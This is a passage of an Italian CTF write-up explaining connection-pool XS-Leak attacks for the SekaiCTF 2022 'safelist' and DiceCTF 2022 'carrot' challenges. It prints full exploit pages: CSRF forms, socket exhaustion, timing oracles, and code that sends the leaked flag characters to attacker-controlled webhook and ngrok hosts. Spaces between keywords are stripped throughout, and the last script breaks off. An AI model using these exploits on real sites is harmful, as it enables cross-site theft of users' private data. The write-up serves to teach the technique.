Nella sfida Sekaictf2022 - safelist, @Strellic_ fornisce un esempio di come utilizzare una variazione della tecnica Connection Pool per eseguire un XS-Leak.
In questa sfida, l'obiettivo è esfiltrare una flag che apparirà nella sessione web del bot all'interno di un post. Questi sono gli asset di cui dispone l'attaccante:
Il bot visiterà un URL fornito dall'attaccante
L'attaccante può iniettare HTML nella pagina (ma non JS, viene utilizzato dompurify) abusando di un CSRF facendo sì che il bot crei un post con quell'HTML.
L'attaccante può abusare di un CSRF per far sì che il botcancelli il primopost all'interno del web.
Poiché i post sono ordinati alfabeticamente, quando il primo post viene cancellato, se il contenuto HTML dell'attaccante è caricato significa che era alfabeticamente prima della flag.
Pertanto, per rubare la flag, la soluzione proposta da @Strellyc_ è di, per ogni carattere da testare far sì che il bot:
Crei un nuovo post che inizia con la parte conosciuta della flag e diversi imgcaricati.
Cancellare il post in posizione 0.
Bloccare 255 socket.
Caricare la pagina con i post
Eseguire 5 richieste casuali a un sito (example.com in questo caso) e misurare il tempo che ci vuole.
Se il post cancellato era la flag, questo significa che tutte le immaginiiniettate nell'HTML stanno lottando con le 5 richieste casuali per quel socket non bloccato. Ciò significa che il tempo misurato sarà maggiore rispetto all'altro scenario.
Se il post cancellato era l'HTML, le 5 richieste casuali saranno più veloci perché non devono lottare per quel socket con l'HTML iniettato.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
In questo caso, il primo passo dell'exploit è stato abusare di un CSRF per modificare la pagina in cui è contenuto il flag in modo che abbia molto più contenuto (e quindi il caricamento richiede più tempo), e poi abusare del connection pool per misurare il tempo necessario per accedere alla pagina che potrebbe contenere il flag.
Nell'exploit puoi vedere:
Abusare del CSRF
Occupare tutte le socket tranne 1
Calibrare la risposta
Iniziare a bruteforcing accedendo alla potenziale pagina con il flag
La pagina potenziale sarà accessibile e immediatamente verrà anche accessibile un URL controllato dall'attaccante per verificare quanto tempo richiedono entrambe le richieste.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <SOCKETLIMIT; i++) {block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async (url, popup) => {returnnewPromise(async (r) => {